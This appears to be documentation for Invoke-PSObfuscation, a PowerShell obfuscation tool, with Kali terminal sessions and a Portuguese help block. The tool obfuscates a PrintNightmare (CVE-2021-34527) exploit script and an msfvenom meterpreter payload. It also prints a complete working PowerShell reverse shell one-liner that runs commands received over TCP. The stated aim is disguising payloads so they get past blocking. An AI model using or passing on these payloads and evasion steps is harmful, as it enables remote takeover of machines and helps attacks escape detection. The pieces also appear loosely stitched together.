$Picker = 1..6 | Get-Random
Switch ($Picker) {
    1 { $NewValue = 'Stay' }
    2 { $NewValue = 'Off' }
    3 { $NewValue = 'Ronins' }
    4 { $NewValue = 'Lawn' }
    5 { $NewValue = 'And' }
    6 { $NewValue = 'Rocks' }
}

┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/tristram> . ./Invoke-PSObfuscation.ps1
PS /home/tristram> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printnightmare.ps1

     >> Layer 0 Obfuscation
     >> https://github.com/gh0x0st

[*] Obfuscating namespace classes
[*] Obfuscating cmdlets
[*] Obfuscating variables
[-] -DriverName is now -QhYm48JbCsqF
[-] -NewUser is now -ybrcKe
[-] -NewPassword is now -ZCA9QHerOCrEX84gMgNwnAth
[-] -DLL is now -dNr
[-] -ModuleName is now -jd
[-] -Module is now -tu3EI0q1XsGrniAUzx9WkV2o
[-] -Type is now -fjTOTLDCGufqEu
[-] -FullName is now -0vEKnCqm
[-] -EnumElements is now -B9aFqfvDbjtOXPxrR
[-] -Bitfield is now -bFUCG7LB9gq50p4e
[-] -StructFields is now -xKryDRQnLdjTC8
[-] -PackingSize is now -0CB3X
[-] -ExplicitLayout is now -YegeaeLpPnB
[*] Removing comments
[*] Writing payload to o-printnightmare.ps1
[*] Done

PS /home/tristram> 

$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

┌──(tristram㉿kali)-[~]
└─$ pwsh 
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/tristram> . ./Invoke-PSObfuscation.ps1                                                                            
PS /home/tristram> Invoke-PSObfuscation -Path ./revshell.ps1 -Integers -Cmdlets -Strings -ShowChanges

     >> Layer 0 Obfuscation
     >> https://github.com/gh0x0st

[*] Obfuscating integers
    Generator 2 >> 4444 >> $(0-0+0+0-0-0+0+4444)
    Generator 1 >> 65535 >> $((65535))
[*] Obfuscating strings
    Generator 2 >> 127.0.0.1 >> $([char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/16*49/16)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/109*50/109)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+55-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/20*46/20)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+48-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+46-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+48-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+46-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/51*49/51))
    Generator 2 >> PS  >> $([char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/1*80/1)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/86+83-86)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+32-0))
    Generator 1 >> >  >> ([string]::join('', ( (62,32) |%{ ( [char][int] $_)})) | % {$_})
[*] Obfuscating cmdlets
    Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
    Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
    Generator 1 >> Out-String >> & (("Tpltq1LeZGDhcO4MunzVC5NIP-vfWow6RxXSkbjYAU0aJm3KEgH2sFQr7i8dy9B")[13,16,3,25,35,3,55,57,17,49] -join '')
[*] Writing payload to /home/tristram/obfuscated.ps1
[*] Done

┌──(tristram㉿kali)-[~]
└─$ pwsh 
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/kali> msfvenom -p windows/meterpreter/reverse_https LHOST=127.0.0.1 LPORT=443 EXITFUNC=thread -f ps1 -o meterpreter.ps1
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 686 bytes
Final size of ps1 file: 3385 bytes
Saved as: meterpreter.ps1
PS /home/kali> . ./Invoke-PSObfuscation.ps1                                                                                        
PS /home/kali> Invoke-PSObfuscation -Path ./meterpreter.ps1 -Integers -Variables -OutFile o-meterpreter.ps1                     

     >> Layer 0 Obfuscation
     >> https://github.com/gh0x0st

[*] Obfuscating integers
[*] Obfuscating variables
[*] Writing payload to o-meterpreter.ps1
[*] Done

<#
    .SYNOPSIS
        Transforma scripts PowerShell em algo obscuro, pouco claro ou ininteligível.
    
    .DESCRIPTION
        Enquanto a maioria das ferramentas de ofuscação tende a adicionar camadas para encapsular código existente, como base64 ou compressão,
        elas geralmente deixam o payload pretendido intacto, o que essencialmente introduz pontos de bloqueio. O Invoke-PSObfuscation
        foca em substituir os componentes existentes do seu código, ou camada 0, por valores alternativos.
    
    .PARAMETER Path
        Um payload PowerShell fornecido pelo usuário através de um arquivo simples.
    
    .PARAMETER All
        A chave All é usada para engajar todos os componentes suportados para ofuscar um determinado payload. Esta ação é muito intrusiva
        e pode resultar na quebra do seu payload. Não deve haver problemas ao usar isso com o reverse shell vanilla.
        No entanto, é recomendado direcionar componentes específicos com payloads mais avançados. Lembre-se de que alguns
        geradores introduzidos neste script podem até confundir seu ISE, então certifique-se de testar adequadamente.
        
    .PARAMETER Aliases
        A chave Aliases é usada para instruir a função a ofuscar aliases.

    .PARAMETER Cmdlets
        A chave Cmdlets é usada para instruir a função a ofuscar cmdlets.

    .PARAMETER Comments
        A chave Comments é usada para instruir a função a remover todos os comentários.

    .PARAMETER Integers
        A chave Integers é usada para instruir a função a ofuscar inteiros.

    .PARAMETER Methods
        A chave Methods é usada para instruir a função a ofuscar invocações de métodos.

    .PARAMETER NamespaceClasses
        A chave NamespaceClasses é usada para instruir a função a ofuscar classes de namespace.
    
    .PARAMETER Pipes
        A chave Pipes é usada para instruir a função a ofuscar pipes.

    .PARAMETER PipelineVariables
        A chave PipelineVariables é usada para instruir a função a ofuscar variáveis de pipeline.

    .PARAMETER ShowChanges
        A chave ShowChanges é usada para instruir o script a exibir os valores brutos e ofuscados na tela.

    .PARAMETER Strings
        A chave Strings é usada para instruir a função a ofuscar strings de prompt.
  
    .PARAMETER Variables
        A chave Variables é usada para instruir a função a ofuscar variáveis.

    .EXAMPLE
        PS C:\> Invoke-PSObfuscation -Path .\revshell.ps1 -All
    
    .EXAMPLE
        PS C:\> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printernightmare.ps1
    
    .OUTPUTS
        System.String, System.String
    
    .NOTES
        Informações adicionais sobre a função.
#>